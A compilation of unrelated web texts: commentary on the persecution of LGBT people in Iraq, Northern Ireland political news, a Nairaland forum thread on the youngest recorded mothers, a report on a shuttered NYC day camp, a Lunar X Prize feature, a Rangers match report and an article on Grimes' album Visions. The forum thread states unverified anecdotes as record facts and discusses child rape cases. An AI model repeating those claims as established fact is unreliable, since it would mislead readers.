-Last week, 12 Iraqi police officers burst into a house in Karbala, beat up and blindfolded the six occupants and bundled them off in three vans, taking the computers they found with them. The house was then burned down by unknown people.  The house was a new "emergency shelter" run by the Iraqi LGBT organisation.  Two days later, one of the men turned up in hospital with a throat wound saying he'd been tortured. Iraqi LGBT has ordered those in its other two safe houses to move immediately.  The group says the police action is consistent with other state attacks on lesbian, gay, bisexual and transgender (LGBT) people in Iraq. It has information that the other five – two gay men, one lesbian and two transgender people – have been transported 100 miles north to the interior ministry in Baghdad, where they'll be interrogated (ie tortured) to find out more about the group. Then, going on past experience, they'll probably be handed to militias loyal to Shi'a clerics Grand Ayatollah al-Sistani and Muqtada al-Sadr (both of whom have called for homosexuals to be put to death) and their mutilated bodies will turn up later.  But it is also clear from past experience that there is unlikely to be a sustained international outcry from gay people, governments or others about this latest incident.  Last year, the US state department, following representations by Rep Jared Polis, said that it was investigating reports of trials and executions of LGBT people – including for membership of the Iraqi LGBT group – as well as reports of arrests, beatings and rape by interior ministry security forces. Polis said that at least one gay man has been executed by the government for "membership of a banned organisation" and that "egregious human rights violations ... [are] being carried out by Iraqi government officials from the ministry of the interior".  But this was immediately undermined by the US embassy in Baghdad. Patricia Butenis, its chargé d'affaires, said: "We have no evidence that security forces are in any way involved with these militias."  This official dismissal is echoed in the British foreign office's latest human rights report that does acknowledge persecution in Iraq but claims that "official figures do not show a significant overall increase in violence against, or systematic abuse of, the homosexual community by fundamentalists or militia groups". It makes no mention of allegations of state involvement and repeats claims by Iraq's human rights minister and the interior ministry that murders of LGBT people "will be prosecuted" (none have) and that "homosexuality is not a criminal offence in Iraq". Iraqi LGBT, however, has two documents from a judge ordering arrests of homosexuals in Babel province earlier this year; those arrested have disappeared.  The latest US state department human rights report does suggest that the Iraqi state is offering no protection to LGBT people, saying the "authorities had not announced any arrests or prosecutions of any persons for killing, torturing, or detaining any LGBT individuals by year's end". In diplomatic terms this represents a glacial sort of progress in criticism of the Iraqis. The state department, like the foreign office, is "concerned". But Neil Grungras, executive director of the San Francisco-based Organisation for Refuge, Asylum & Migration, who follows developments closely, says "these concerns have thus far not translated into concrete action".  The foreign office, similarly "concerned", has told Iraqi LGBT for two years that the British embassy in Baghdad is "investigating" reports of state involvement.  In that time Britain has managed to "investigate" and publicly criticise both the Malawian and the Ugandan governments.  At a state department event yesterday, Hillary Clinton touted US support, like Britain's, for African LGBT activists. Four were invited guests and she even offered funding. In both Malawi and Uganda there is a strong religious opposition to homosexuality but this hasn't stopped criticism. Yet in Iraq "religious sensitivities" are mentioned behind the scenes as the reason why Britain won't publicly criticise inaction on the killings of LGBT people, let alone killings by or with the connivance of the Iraqi government. Of course, in reality, the "sensitivities" are primarily political and LGBT people are being sacrificed for the sake of them.  Africa is the "gay international issue du jour" and that's a good thing, but the absence of any attention – any – to Iraq screams out for explanation. Iraqi LGBT has documented 738 killings in five years, similar numbers to those suffered by Iraq's Christian minority. Yet Iraq's state-colluded pogrom of gays isn't the subject of demonstrations by the international gay community, sustained actions by international human rights organisations, protests by lesbian or gay celebrities or even fundraising for "safe houses" – though they have one major funder, the Dutch humanist charity, Hivos.  Ali Hili, Iraq's LGBT leader, said "people in the west have been too quiet for too long about the violence against LGBT people in Iraq. The militia and the powers that be know they can get away with it while that silence continues."  Last year, group members in Iraq responded to the outrageous statement from Butenis, saying they were "fed up with such 'political' words" and that "the Americans are doing nothing to stop the terror campaign against them. They believe that the priority for Hillary Clinton's state department and Obama's administration is to not upset the Iraqi government."  One could say the same of the British and one can understand why LGBT Iraqis are fed up. The foreign office knows about the Karbala raid. Why is someone not sent out immediately to investigate and then, once the truth is known, the foreign office can condemn it? Why are we standing up for some LGBT people in the rest of the world and not others? Can this pogrom carry on happening and not a finger be lifted to try and stop it?  • This article was amended at 19.15 on 23 June 2010. The original referred to the six abducted being "two gay men, one lesbian and two transgender people". This breakdown should have referred to the five who are still missing. This has now been corrected
-A return to direct rule from London is a possibility if the Northern Ireland parties fail to agree on a plan to resolve deep disagreements over paramilitarism and welfare reform, the cabinet minister for the province has warned.  Secretary of state Theresa Villiers told the Conservative party conference on Wednesday the survival of devolved government was now at stake in the talks going on in Belfast between unionist and nationalist parties.  Stormont Northern Ireland crisis talks explained Read more  Villiers said “a return to direct rule would be a severe setback” but admitted transferring powers back to London cannot be ruled out.  Northern Ireland’s power-sharing government is under threat over two key issues: the alleged ongoing existence of the Provisional IRA and the Ulster parties’ inability to reach consensus on welfare reforms.  Unionists have latched on to an assessment by the Police Service of Northern Ireland that the PIRA still exists in some form and that some of its members were behind the murder of ex-PIRA prisoner Kevin McGuigan in August. They claim this breaches a key article of faith in agreements that led to them sharing power with nationalist party Sinn Féin – the dissolution of the PIRA as a military force and the decommissioning of its weaponry. Sinn Féin has countered that unionist threats to pull down power sharing are due to inter-unionist election rivalry.  Northern Ireland's political crisis: key questions answered Read more  Even before the McGuigan murder controversy, however, there were deep divisions inside the power-sharing coalition at Stormont over Treasury demands for cuts to the public-sector workforce in Northern Ireland. The two main unionist parties and the centrist Alliance party supported the welfare reform programme while Sinn Féin and the SDLP have opposed it. As a result, the Northern Ireland Executive has been unable to set a budget this year.  Concentrating on the row over welfare reform, Villiers said: “One only has to look round Europe to see the problems caused when an administration cannot live within its budget and the harsh impact that can have on some of the most vulnerable in society.  “Replaying that scenario in Northern Ireland would stretch political relationships within the Executive well beyond breaking point. There’s a real risk that those taking a hard line against welfare reform will end up running the devolved institutions into collapse as collateral damage.”  Transferring power from the Stormont government in the region back to Whitehall would mark a major blow to the agreements negotiated over the last 17 years aimed at restoring devolution to the province. It would enrage nationalists in particular, and lead to a bitter election contest for a new Stormont assembly in either late autumn or early winter.  The main unionist party, the Democratic Unionists, has also received sustained criticism over its partial boycott of Northern Ireland Executive business. Even though the DUP ministers are absenting themselves from cabinet meetings, it has emerged they are still taking their full salaries as if they were fully in government.  In response to charges of hypocrisy, the DUP said on Wednesday its ministers will not personally gain financially from the payments while their “in-out” protest over alleged ongoing PIRA activity continues.
-Nairaland Forum / Nairaland / General / Health / Youngest Birth (31250 Views)  Ola Orekunrin, The Youngest Doctor In England At Age 21 / LINA MEDINA, The Youngest Mother Ever / Can This Be True? (the Youngest Mother Ever ) 5 Years Old (2) (3) (4)  (1) (Reply) (Go Down)  The youngest mother on record was a five year old Peruvian girl. Lina Medina made medical history when she gave birth by caesarean section in May 1939. Her parents initially thought she had a large abdominal tumour but doctors later confirmed she was actually pregnant. Lina gave birth to a healthy boy which she named Gerardo after a doctor at the hospital. Gerardo grew up alongside his mother and always considered her his sister until he was told the truth when he was ten year old. Lina and her husband still live in Peru but Gerardo died in 1979.  Let's not even talk of who impregnated her, what about her reproductive organs? At that age the girl shouldn't even have sex hormones!(at least fully developed and functioning ones).  Haba! According to the biology them teach us for school, a girl has to start menstruating before she can get pregnant. At 5 her ovaries are not fully developed not to talk of releasing an egg that will become fertilized. Is that report for real? Where did the girl even get the womb to hold the pregnancy for 9 months? I am shocked beyond words. How possible?Let's not even talk of who impregnated her, what about her reproductive organs? At that age the girl shouldn't even have sex hormones!(at least fully developed and functioning ones).Haba! According to the biology them teach us for school, a girl has to start menstruating before she can get pregnant. At 5 her ovaries are not fully developed not to talk of releasing an egg that will become fertilized. Is that report for real? Where did the girl even get the womb to hold the pregnancy for 9 months? I am shocked beyond words.  fake story. only 13 years have this record in nigeria  Am astonished to read that its a fake story. Why dont you do a research to know who has the record of youngest birth. Presently there is a 10 year old who is 7 months pregnant is Cape Town, South Africa and someone is saying a 13 year old Nigerian has the record. Look beyond your horizon  @ poster, so the 5 year old mother thing is fake. The 10 year old thing is possible, that one i go agree, because some girls attain puberty really fast. It's saddening, some of them get pregnant and don't even know what is happening to them  @Ejadamen. U never do wetin i asked to do. Just do the research and tell me who has the record.  This Health sec. seriously needs a Mod.  I talked about her on a thread about crazy father shagging their children.  this girl got her period when she was 8months old and had "almost"fully developed breast at 4 and had had the ovaries of a fully mature woman. she was raped by a relative (no one knew who the father was) gave birth to her baby at the age of 5yrs 7months and 21days exactly BY CESAREAN and she is the youngest mother on record.  people didnt know she was pregnant until the pregnancy was about 7months old, they took her to the doctor and thought she had a tumor ONLY TO REALIZE SHE WAS PREGNANT.  the youngest NIGERIAN mother is a girl of 8YRS OLD called Mum-zi who was part of chief Akkiri's harem from Calabar.  At the age of seven, Mum-zi joined the harem of Chief Akkiri, ruler of the estuary of Calabar, Nigeria. Shortlyafter her betrothal,  Mum-zi became pregnant. At the age of 8 years and 4 months, she gave birth to a perfectly normal, well-developed baby girl.  her daughter also became a mother at 8 making Mum-zi a grandmother at 17. she holds the record!!!!! (but unfortunately no photo proof for that one!)  here is a picture of Lina Medina :  (on the second photo, thats her, the doctor and her baby)  I was concerned about how possible it was for a 5 yr old girl to deliver scientifically but Mr. BrownJay has answered my question beautifully by supplying that the girl got her period when she was 8 months old. That means she developed prematurely, same thing with the 8yr old Nigerian girl. But na wa o! @ yousouph, you were right.I was concerned about how possible it was for a 5 yr old girl to deliver scientifically but Mr. BrownJay has answered my question beautifully by supplying that the girl got her period when she was 8 months old. That means she developed prematurely, same thing with the 8yr old Nigerian girl. But na wa o!  This is really serious.  Ewww  @Mrbrownjay. I havent heard of the Nigerian lady even being a grand mother at 17. Which year is that? I will keep it in my book. Thanks for sharing your knowledge on NL  it is almost unbelievable!  tanx for this research i no fit shoutit is almost unbelievable!tanx for this research  here is a list of the world youngest mothers ON RECORD, funny enough the 3 youngest mothers are from PERU, WTF!!!!!  Age 5  -1939: Lina Medina of Paurange, Peru gave birth to a 2.7 kg son (5.9 lb), Gerardo, by caesarean section on Mother's Day, May 14, 1939 in Lima at the age of 5 years, 7 months and 21 days. Her parents, who assumed their daughter had a tumour, took her to a hospital, where she was determined to be seven months pregnant. Although Medina's father was arrested on suspicion of child molesting, he was later released due to lack of evidence, and the identity of who impregnated Medina was never uncovered. [1][2]  Age 6  -1939: The Los Angeles Times quoted Dr. Joseph B. De Lee, obstetrics authority of Chicago Lying-in Hospital, as saying that a German medical journal has already reported that a Russian girl, age 3 1/2, had become a mother, and that this girl had the physical development of a 18 or 20 year old.  Age 8  -2006: A girl from Huánuco, Peru, gave birth to a baby weighing 2 kg (4.4 lb) by caesarean section at a hospital in Lima in December 2006. Her ninth birthday occurred a couple of days later. She became pregnant after being raped by two of her cousins.  Age 9  -1957: Hilda Trujillo gave birth to a girl weighing over 6 lb (2.7 kg) at a hospital in Lima, Peru in December 1957. Her 22-year-old cousin, who was staying in her family's one-room house at the time, was arrested for rape.  -2001: Wanwisa Janmuk gave birth in February 2001 to a girl at a hospital in Phetchabun, a northern province of Thailand. The father was her 27-year-old husband; Thai law allows minors to marry with parental permission.  check the rest of the list here:  http://en.wikipedia.org/wiki/List_of_youngest_birth_mothers the Nigerian one has never been confirmed, but it has been well reported, even once featuring on tv "Ripley's believe it or not"here is a list of the world youngest mothers ON RECORD, funny enough the 3 youngest mothers are from PERU, WTF!!!!!-1939: Lina Medina of Paurange, Peru gave birth to a 2.7 kg son (5.9 lb), Gerardo, by caesarean section on Mother's Day, May 14, 1939 in Lima at the age of 5 years, 7 months and 21 days. Her parents, who assumed their daughter had a tumour, took her to a hospital, where she was determined to be seven months pregnant. Although Medina's father was arrested on suspicion of child molesting, he was later released due to lack of evidence, and the identity of who impregnated Medina was never uncovered. [1][2]-1939: The Los Angeles Times quoted Dr. Joseph B. De Lee, obstetrics authority of Chicago Lying-in Hospital, as saying that a German medical journal has already reported that a Russian girl, age 3 1/2, had become a mother, and that this girl had the physical development of a 18 or 20 year old.-2006: A girl from Huánuco, Peru, gave birth to a baby weighing 2 kg (4.4 lb) by caesarean section at a hospital in Lima in December 2006. Her ninth birthday occurred a couple of days later. She became pregnant after being raped by two of her cousins.-1957: Hilda Trujillo gave birth to a girl weighing over 6 lb (2.7 kg) at a hospital in Lima, Peru in December 1957. Her 22-year-old cousin, who was staying in her family's one-room house at the time, was arrested for rape.-2001: Wanwisa Janmuk gave birth in February 2001 to a girl at a hospital in Phetchabun, a northern province of Thailand. The father was her 27-year-old husband; Thai law allows minors to marry with parental permission.check the rest of the list here:  Peru seems to be breeding prematurely developed girls. What's with all this pedophile relatives?Peru seems to be breeding prematurely developed girls.  This kinda stuff makes R Kelly look like Mother Theresa  as i said on another thread earlier, we have to educate children VERY EARLY in their lives on what a person CAN and CANNOT do with them. as we can see by this list, many of the rapist were known acquaintances/family members.  everyone should teach their children that NOBODY should touch their "pee pee" apart from daddy and mummy. no friends, no auntie, no babysitter, no teacher N O B O D Y !!!!!!!!!!!  we can see from the everyday news that this "trend" is rising all over the world and that children are easy prey.  TEACH YOUR KIDS!!!!!!
-A New York City day camp was abruptly canceled without explanation, and parents are trying to find out what happened to the camp and their money as they scramble to find alternate childcare arrangements for their kids. Ida Siegal reports. (Published Tuesday, July 8, 2014)  A New York City day camp was abruptly canceled, leaving parents without an explanation and their tuition money as they scramble to find alternate childcare arrangements for their kids.  The Empire Day Camp operating out of the Ella Baker School on the Upper East Side was supposed to open on Monday, but families arrived to find a sign saying it was closed. Parents trying to get answers couldn't reach any administrators.  "I can't reach anyone from the camp, my money has not been refunded, and my son is pretty much stranded," said one parent.  Felicia Pezold said she'd been counting on the camp to keep her child safe and occupied while she worked each day.  NYC Summer Camp Unexpectedly Closes  Parents expecting to drop their kids off at Empire Day Camp on Monday got an unwelcomed surprise. On what should have been opening day, the place was empty. Michael George reports. (Published Monday, July 7, 2014)  "That was her activity for the summer, and now that money's gone," she said.  Pezold paid between $2,300 and $2,400 for the summer day camp. Another parent, Rosa Striano, paid more than $3,500 for four weeks of camp for her two daughters.  "I have two girls who have no summer plans now," said Striano. "Thankfully, we have a big family who's helping us, but other camps are also full right now."  Empire's founder and former director Kinya Trotman died in March, but its camp and afterschool program continued, according to former employees, who say they have also been left in the lurch. They say Trotman's teenage son Kyree took over, but things deteriorated quickly.  "Once he took over the company, that's when things started going downhill. Checks started bouncing," said camp counselor Brandi Sampson.  Sampson said Kyree sent a letter at the end of June announcing the program was closing. When she asked about her last paycheck, Kyree called her "yelling and cursing, 'Don't ever call me again, stop texting me. As of today, there's no check,'" according to Sampson.  A person at an address listed for Kyree Trotman answered from behind the door but refused to speak to NBC 4 New York.  Administrators at the Ella Baker School, which has no affiliation with Empire Camp, would not comment to NBC 4 New York, but parents said they sent them a letter saying they could not reach anyone from the camp either.  "I'd like to get my money back first and foremost, but an explanation as to why this happened," said Pezold. "All these families are scrambling. No childcare, no activities for their children."  Striano said, "I want my money back, but more than anything I want them to be accountable for what they've done."  The Empire program's website states it is licensed by the New York City Department of Health and Mental Hygiene. A request for comment from the department was not immediately returned.  Parents say they will file police reports and complaints with the attorney general's office in the coming days.
-Spaced out: Backyard inventors go head-to-head in Google's £20million competition to fly to the moon  It was once a pursuit reserved for astronauts and top-secret government officials.  But now backyard inventors are hoping to land their own weird and wonderful spacecrafts on the moon after Google launched a £20million competition.  Nasa had previously estimated that such voyages would cost more than £1billion - with some skeptics suggesting that it is almost impossible to even fly to the moon.  Flying spider: Italy's entry into Google's $20million Lunar X competition is a green ball supported by six spider-like legs  But since the Isle of Man government has lifted tax restrictions of space exploration a flurry of do-it-yourself voyages throughout the cosmos are expected.  Internet search giant Google became one of the first to take advantage of the tax break when it announced the Lunar X prize in September 2007.  Twenty two teams who have worked tirelessly on their strange machines will meet in the Isle of Man tomorrow to thrash out the final details of the missions.  Representing Britain in the competition is the crew behind Astrobotic, a four-wheeled silver machine that resembles a moving road sign.  Out of this world: The British Astrobotic is one of 22 teams hoping to win Google's $20million prize for the first ship to land on the moon and drive 500 metres  Julian Ranger, the UK financier who is raising cash for Astrobotic, said: 'We believe we can get the cost [of reaching the moon] down to $50m, a price tag that will transform lunar exploration and make the moon a target for for all sorts of commercial operations.  'Part of our business plan will be to get our rover to move round the site and take a 3D high-definition film of it.  'If nothing else, it should prove to the doubters that the Apollo missions really took place.  'We hope to use SpaceX's Falcon 9 rocket to get to the moon.The cost would normally be around $100m, but we hope we can negotiate a special deal for this high-profile project.'  Other hopefuls in the competition include Team Italia whose craft is a green dome supported by six spider-like legs.  America's entry, Jurban, looks like a large worm designed to negotiate the moon's rough terrain of craters with several small capsules joined together in the same way as a train.  The Barcelona Moon Team has entered a more tradition flying-saucer that was built by a jewelery designer. It has a body that resembles an upside down bow with flashing lights on the rim.  Craters: The American crew Jurban hope their cross between a worm and a train will survive on the moon  Flying saucer: Barcelona Moon Team have conformed to more traditional stereotypes of flying saucers with their project  Favourite: The Isle of Man team behind Odysey Moon have partnered with Nasa  The $20million prize will be given to the first team that lands their craft on the moon and directs of journey of more that 500 metres.  An addition $4million is on offer for anybody whose spaceship survives the incredible cold of the lunar atmosphere and another $2million bonus if the craft is launched from Florida. The second prize is $5million.  If nobody manages to reach the moon by December 2012 the prize money will be dropped to $15million. If still nobody has succeeded two years later the competition will be scrapped.  Ranger added: 'It is not the technology that is holding us back. We could be ready in less than a year. Raising the cash will take longer, however.'  'At present, the exact rules of the competition have not been worked out. The organisers and competitors need to work out how they share out the revenue generated by the flights. That is what we are going to do this week at our meeting. Then it will be a matter of raising the money – and flying to the moon.'  The Google Lunar X prize was created following the success of the Ansari X prize which was established in 1996 to inspire private investment in manned space travel.  The $10m prize was won by aeronautical engineer Burt Rutan. His SpaceShipOne craft was flown twice within a month to the edge of space in 2004.
-written by – Rangers Report  This aim of this Analytical Match Report is to enhance the analysis of Rangers performance by providing a variety of advanced stats from the game. Explanations of these stats can be found in our tutorial for these reports.  Expected Goals: Rangers 2.3 Dumbarton 0.3  Dumbarton knew it has little, to no chance of gaining points on Saturday so they went all-in on playing for a 0-0 draw. Surprisingly, especially considering the final score, it did kind of work for a little while. The home side always had 9-10 men behind the ball, defending in layers & Rangers did struggle for a while to create chances. However, Rangers have gone through this routine before, stuck with their game-plan & obviously it paid off right before half-time.  Shot Quality Breakdown:  Of the shots that Rangers took, 60% came from within the penalty box & 45% came from High/Very High Danger areas (the heart of the box).  Rangers turned 75% of the possession into 91% of the totals shots on goal. Those shots translated into Rangers earning 90% of the Expected Goals in the match & 100% of all the shots on target. In a road match…  Shots Shots on Target Sh Acc Sh% Rangers 20 13 0.650 0.462 Dumbarton 2 0 0.000 —–  The league average for shooting percentage this season is 0.305, meaning 31% of all the shots on target have beaten the keepers in the Scottish Championship. Prior to this match, Rangers shooting percentage was a league best 0.389 – which you would expect. So when Rangers put six past the keeper, you’d look for a shooting rate that was off the charts & while beating the goalie on 46% of the shots on target is high – it’s not ‘drop your jaw’ high. It is not unheard of for Rangers to get 20 shots (they average 17.5) but what’s most impressive is the 13 shots on target. The difference was that against Dumbarton 65% of their shots were on target when normally they get 42% of the shots on target – which is fifth best in the league. If this is the beginning of a new trend then we have pinpointed a real area of improvement for Mark Warburton’s team.  Rangers Report Shot Chart:  Rangers only had six shots going into half-time, well below their normal rate. Of course, Dumbarton has zero shots at the half so…there was that. When Kenny Miller got the second goal it was the 11th shot in just under an hour. That seemed to really deflate the home side as they were outshot 9-0 in the next thirty minutes.  Special note: normally Goalkeeper Distribution Ratio is tracked for these reports. However, I decided to track Zone Exits instead for the first time. As readers of the blog know, Controlled Zone Entries into the final third are tracked for each game & for this match I decided to also track who was getting the ball out of the defensive third & how they were doing it. Given that Rangers have been victimized on the counter attack on multiple occasions this season, the need to analyze the team’s defensive plan was glaring. Look for a post on the Zone Exits in the next day or two.  Individual Outliers  Lost in the headlines of Kenny Miller’s hat trick was the performance of James Tavernier. He had a hand in four of the six goals & led the team with 13 controlled entries into the final third. It is safe to say he has rebounded strongly from his dip in form.  The day before the match I tweeted out that Kenny Miller was due to score given he had the biggest differential in Expected Goals & actual goals on the team. Well, three goals later & I felt like a damn genius. Interestingly enough, Andy Halliday was next on the list. #fancystats  While Barrie McKay’s only contribution to the official score sheet was one shot – when you factor in secondary assists (the pass before the primary assist) you see that he actually directly contributed to a third of the goals.  Another typical outing for Martyn Waghorn who also added a secondary assist to his final line of stats.  You can follow Rangers Report on Twitter @TheGersReport  Advertisements
-2012 studio album by Grimes  Visions is the third studio album by Canadian singer and songwriter Grimes, released on January 31, 2012. Her first since signing with 4AD,[6] the album was recorded entirely on Apple's GarageBand software in Grimes' apartment over a three-week period.[7][8] It was mixed by Grimes and her manager Sebastian Cowan at their La Brique Studio Space.[9] Visions was streamed on the NPR website a week before it was released in the United States.[10]  Visions received widespread acclaim by critics on its release and was included in several year-end lists. The album's two singles, Oblivion and Genesis were named one of the best songs of 2012 by many publications, with Pitchfork going so far as to name Oblivion as the best song of the decade so far.[11] Visions won a Juno Award[12] and was also nominated for the 2012 Polaris Music Prize[13]. The album is labeled as bringing the DIY music scene of the Mile End neighbourhood of Montreal to international popularity.[14]  Background and recording [ edit ]  [7] I was stuck in this horrible cycle of not living anywhere, just not having any concrete sense of well-being or stability or home. That was really interesting, but that fuelled a lot of the emotional momentum of the album. – Grimes  Claire Boucher released her debut album as Grimes, Geidi Primes on Canadian record label Arbutus Records in January 2010, followed by Halfaxa in September, when she began publicly promoting Grimes and started touring beyond Montreal. In 2011, she released a split 12" EP with fellow Montreal based musician d'Eon, Darkbloom and, beginning in May, opened for Swedish singer Lykke Li on her North American Tour,[15][16] and the following August her debut album was re-released through No Pain in Pop Records, in CD and vinyl format for the first time.[17] In May, Boucher performed early versions of new songs "Genesis" and "Nightmusic" at Festival Kinetik,[18] and "Be A Body" in July.[19]  Growing frustrated with touring and a lack of stability in her life, Boucher began work on Visions in August 2011 over three weeks at her home in Montreal.[7][20][21] While under a release deadline set before she had started the album by her then manager,[22] she recorded the album at a "psychotic pace" to meet the deadline.[23] Most songs on the album were finished in a single day, without many demos being created beforehand.[24] She described the process as being "equally enjoyable and tortuous".[25] She created the album hoping to "clear [her] mental slate. Overriding everything I’d done previously, too" stating the album "is a pretty good representation of the beginning of the future.”[7] Visions was recorded using Apple's GarageBand, primarily using a Roland Juno-G keyboard, vocal pedals, and a sampler.[26] The album was mixed by Boucher and Sebastian Cowan at their La Brique Studio Space.[27] She signed with record label 4AD in January 2012.[28]  Release and promotion [ edit ]  Grimes performing at SXSW in 2012.  Visions was released on January 31, 2012 in Canada,[29] and on February 21, 2012 in the US, UK and Europe.[30] Worldwide releases followed throughout March. The album was streamed on the NPR website a week before it was released in the United States.[31] The Canadian vinyl version of the album featured a different track listing; it featured 9 songs, including two previously unreleased song "Life After Death" and "Ambrosia".[32] "Oblivion" was released onto the Internet in October 2011 as a promotional single, along with the announcement of the album.[33][34] "Genesis" was issued as the lead single on January 9, 2012.[35]  The album debuted at No. 98 on the Billboard 200 albums chart on its first week of release,[36] with around 5,000 sold in the United States. It also debuted at No. 8 on the Top Dance/Electronic Albums chart.[37] As of December 2015, the album has sold 110,000 copies in the US.[38] It has sold over 150,000 units. [39] In 2012 it was awarded a silver certification from the Independent Music Companies Association which indicated sales of at least 20,000 copies throughout Europe.[40]  In November 2012, with the announcement that Visions was named album of the year by record shops Rough Trade and Resident, two exclusive bonus discs were made available with any purchase of the album in each shop, featuring remixes and rare tracks.[41]  Visuals [ edit ]  The music video for "Oblivion", directed by Emily Kai Bock,[42] was shot in Montreal at Olympic Stadium and at McGill University's Molson Stadium,[43][44] during a football game and a motocross rally.[42][45] The video debuted on March 2, 2012, and shows Grimes amongst shirtless frat boys,[45] as well as in a men's locker room surrounded by weightlifting athletes.[46] "Art gives me an outlet where I can be aggressive in a world where I usually can't be, and part of it was asserting this abstract female power in these male-dominated arenas—the video is somewhat about objectifying men. Not in a disrespectful way, though", Grimes explained.[42] In an interview with Spin, she revealed that the song is about "going into this masculine world that is associated with sexual assault, but presented as something really welcoming and nice. The song's sort of about being—I was assaulted and I had a really hard time engaging in any types of relationship with men, because I was just so terrified of men for a while."[1]  The video for "Nightmusic" was directed by John Londono and premiered on May 10, 2012. It takes place in a "barren, greywashed" landscape, and features Grimes wearing one of the "pussy rings" she designed in collaboration with Montreal-based jeweler and sculptor Morgan Black.[47][48]  The self-directed video for "Genesis", which was released as the album's lead single on January 9, 2012,[49] premiered on August 22, 2012.[50] It was filmed in Los Angeles and co-stars rapper and stripper Brooke Candy, whom Grimes describes as "a very contemporary muse". In the video, Grimes is seen alongside a group of friends while driving an Escalade in the desert, holding an albino python in the back of a limousine, and posing in the woods. She said of the concept of the video: "It's loosely based on this painting by my favorite painter, Hieronymus Bosch, called The Seven Deadly Sins and the Four Last Things. I wanted to play with Medieval/Catholic imagery. I was raised in a Catholic household and went to a Catholic school, and my childhood brain perceived medieval Catholicism as an action movie: There's this crazy omnipresent guy who can destroy you at any moment."[51]  Critical reception [ edit ]  Visions received positive reviews from music critics. At Metacritic, which assigns a weighted mean rating out of 100 to reviews from mainstream critics, the album received an average score of 80, based on 42 reviews, which indicates "critical acclaim".[52] Lindsay Zoladz of Pitchfork awarded the album a "Best New Music" designation, claiming it "showcases a streamlined aesthetic, resulting in a statement that feels focused, cohesive, and assured. It's simple enough to leave room for Grimes to grow, but this thing is so compulsively listenable it's hard to come away from it wanting much more".[59] The A.V. Club's Evan Rytlewski commented that on Visions, Grimes "continues her march toward accessibility, rendering hazy, quixotic sketches into tangible, hook-heavy electro-pop".[54] Jon Caramanica of The New York Times hailed Visions as "one of the most impressive albums of the year so far".[63] Rebecca Nicholson of The Guardian described Visions as a "smart, funny album, and it's almost impossible not to dance to it".[56] Clash's Matthew Bennett wrote, "With 4AD's renewed vigor in all affairs electronique and Boucher's coherent elevation in both song quality and hook there'll be no stopping this creative, sensual explosion of humanity called Grimes."[64] Benjamin Boles of Now called the album "richly textured and inventive", noting that "while Visions is unmistakably 2012 sonically in its references to R&B and hip-hop, it also fits remarkably gracefully into 4AD's impressive back catalogue of dream pop".[3]  Matt James of PopMatters praised the album as "an absolute blast" and opined, "Sure, it could have done without some of the interludes [...] but its overall sense of ambition is intoxicating. Visions' rebellious contrariness to evade classification is part of the design and certainly part of the charm".[5] Heather Phares of AllMusic concluded, "Fresh and surprisingly accessible despite its quirks,Visions is bewitching".[53] Eric Harvey of Spin wrote, "The pervasive sense on Visions is of a young woman carefully pushing out of her own introversion, which makes the moments where she sings from the gut instead of the throat [...] or strives for human-on-human sensuality [...] all the more thrilling". Harvey continued, "Boucher's talent lies in the balance of exploiting her gifts and leveraging what's come before her, but judiciously".[62] Kevin Liedel of Slant Magazine viewed the album as "a flawed but intimate glimpse into the fantasies of its creator, and while it might not act as a springboard to greater fame for Grimes, it's just as satisfying to hear her take her bedroom music into a darkened basement, away from the prying world."[65] However, Luke Winkie of Under the Radar felt that Visions "isn't as much of an evolution as it is an elongation; Boucher is still making warped, sparsely-populated electro-pop, and the potential still outweighs the content", adding that the album "stands as a half-formed concept".[66] Reyan Ali of The Phoenix stated that "the ever-fascinating Boucher clearly has unusual ideas sloshing around her skull", but ultimately criticized the album as "unnecessarily oblique, listlessly long (48 minutes!), and painfully shapeless".[67] Rolling Stone's Jody Rosen expressed that "Grimes isn't spooky enough to be 'ghostly,' and not substantial enough to hold your attention."[61]  Accolades [ edit ]  AllMusic proclaimed Visions the best album of 2012 and stated, "On Visions, Claire Boucher honed the mix of little-girl-lost vocals and dark synth-scapes she'd forged on her first two Grimes albums, Geidi Primes and Halfaxa, into something just as unique, but far catchier."[68] The Guardian named it the second best album of 2012, calling it "a masterpiece in gonzo pop that is weird, original and derivative at the same time".[69] The NME ranked the album at number two on its 50 Best Albums of 2012 list.[70] The album appeared at number five on Clash's list of The Top 40 Albums of 2012, and the magazine referred to Grimes as a "creative, sensual explosion of humanity".[71] Pitchfork placed the album at number six on its list of The 50 Best Albums of 2012 and praised it as "a triumphant meeting of human and computer, an album that blows the traditions of both pop and experimental music to pieces and glues them back together in gorgeous, entrancing ways".[72] PopMatters included the album at number 11 on its list of The 75 Best Albums of 2012, concluding, "Astoundingly catchy, occasionally haunting, and frequently brilliant, Visions is top-rate art and pop in equal measure, and deserves to be talked about for years to come".[73]  British magazine Fact ranked Visions the 26th best album of 2012 and commented it "moved beyond the circumstantially lo-fi character of her early offerings Geidi Primes and Halfaxa for a profoundly inventive and just plain weird take on electro-pop. While the shifty rhythms can get a bit repetitive, they're usually voiced differently, and they're always paired with otherworldly synth-work that darts into uneasy, industrial territory".[74] Rolling Stone placed Visions at number 33 on its 50 Best Albums of 2012 list, noting the album "uses EDM extremism, medieval chants, sugar-crusted melodies and her own sky-high voice to rethink pop music".[75] The album was listed on Paste's The 50 Best Albums of 2012 at number 50, and the magazine wrote, "With its constantly shifting tonal landscapes and non-standard structures, it's the kind of music that's exceptionally hard to peg on paper, but that never stops Visions' tracks from looping in your head long after it spins to a close".[76]  "Oblivion" was ranked the best song of 2012 by both Pitchfork and PopMatters; the former called it "beautifully fragmented" and stating it "sound[s] both chilly and machine-like but also radiate[s] human warmth and imperfection",[77] while the later opined that "this nouveau dream pop triumph is surely the album's calling card, the definitive encapsulation of everything that makes the record (not to mention the musician behind it) so beguiling to listen to".[78] The NME named "Oblivion" and "Genesis" the sixth and 16th best tracks of 2012, respectively.[79] Rolling Stone included "Oblivion" at number 28 on its list of the 50 Best Songs of 2012, writing that on the song, Grimes "drops sugar-dust vocals over a thwunking synth loop, sounding perfectly dreamy until you listen to the words: 'I never walk alone after dark.../Someone could break your neck/Coming up behind you and you'd never have a clue.' The catchiness only makes it creepier".[80]  Visions was shortlisted for the 2012 Polaris Music Prize on July 17, 2012, but lost out to Feist's Metals.[13] The album won Electronic Album of the Year at the Juno Awards of 2013.[12]  Track listing [ edit ]  All tracks written by Claire Boucher.  Visions — Standard version No. Title Length 1. "Infinite ❤ Without Fulfillment" 1:36 2. "Genesis" 4:15 3. "Oblivion" 4:12 4. "Eight" 1:48 5. "Circumambient" 3:43 6. "Vowels = Space and Time" 4:21 7. "Visiting Statue" 1:59 8. "Be a Body (侘寂)" 4:20 